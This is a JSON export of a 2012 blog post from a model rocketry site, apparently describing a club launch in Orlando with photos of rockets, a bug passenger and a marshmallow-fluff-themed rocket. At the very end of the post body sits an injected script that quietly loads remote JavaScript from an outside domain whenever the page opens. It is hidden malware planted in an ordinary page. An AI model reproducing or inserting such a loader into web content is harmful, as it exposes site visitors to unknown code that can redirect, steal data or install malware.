{"id":131,"date":"2012-06-06T16:39:24","date_gmt":"2012-06-06T20:39:24","guid":{"rendered":"http:\/\/www.orlandorocketry.com\/?p=131"},"modified":"2025-11-21T15:12:28","modified_gmt":"2025-11-21T20:12:28","slug":"rocks-june-2012-launch","status":"publish","type":"post","link":"https:\/\/orlandorocketry.com\/?p=131","title":{"rendered":"ROCK&#8217;s June 2012 Launch"},"content":{"rendered":"<p>After a couple of scrubbed launches due to dry weather, ROCK returned to fill the skies with rockets in June.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"ROCK Launch\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-10-22-59-000jpg-600-600-061212161206973.jpg\" alt=\"\" width=\"600\" height=\"427\" \/><\/p>\n<p>Flyers were anxious to turn in their flight cards and take their rockets to the launch pads.<\/p>\n<p>One of the first rockets to fly carried a passenger &#8211; a single Love Bug.\u00a0 I&#8217;m not sure I&#8217;ve ever seen one fly solo before. I don&#8217;t think I&#8217;ve seen one do anything solo before.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"Love Bug in Payload Rocket\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-10-45-50-002jpg-600-600-061612165506614.jpg\" alt=\"\" width=\"353\" height=\"600\" \/><\/p>\n<p>In spite of the very hot weather, we had a number of people show up to fly a variety of rockets including some cluster-powered birds.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"Cluster Power Rocket\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-10-47-50-003jpg-600-600-061912162406908.jpg\" alt=\"\" width=\"450\" height=\"600\" \/><\/p>\n<p>Some odd-rocs also flew including an homage to my favorite sandwich, the Fluffernutter!<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"Rocket based on Marshmallow Fluff container\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-10-49-16-003jpg-600-600-062512160506104.jpg\" alt=\"\" width=\"435\" height=\"600\" \/><\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/rockets-at-orlando-mini-maker-faire\/\">Tom Tweit, who I met at the Maker Faire<\/a>, showed up and\u00a0launched one of his crayon rockets.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"Tom and His Crayon Rocket\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-10-52-54-000jpg-600-600-062812165306749.jpg\" alt=\"\" width=\"323\" height=\"600\" \/><\/p>\n<p>One of the rockets landed inside our <a href=\"http:\/\/www.jonrocket.com\/blog\/?p=36\">JonRocket.com trailer<\/a>.\u00a0 I gave the owner a good deal when I sold it back to him.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-11-36-02-000jpg-600-600-063312160406697.jpg\" alt=\"\" width=\"600\" height=\"400\" \/><\/p>\n<p>As the skies grew a little more cloudy, Tom Tweit launched his Bull Pup.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone aligncenter\" src=\"http:\/\/www.rocketreviews.com\/image-2012-06-02-13-31-23-002jpg-600-600-063612164506951.jpg\" alt=\"\" width=\"417\" height=\"600\" \/><\/p>\n<p>Additional photos of the June ROCK launch are in the <a href=\"http:\/\/www.rocketreviews.com\/june-2012-launch.html\">June 2012 ROCK Launch Photo Album<\/a> at RocketReviews.com.<\/p>\n<p>&nbsp;<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After a couple of scrubbed launches due to dry weather, ROCK returned to fill the skies with rockets in June. Flyers were anxious to turn in their flight cards and take their rockets to the launch pads. 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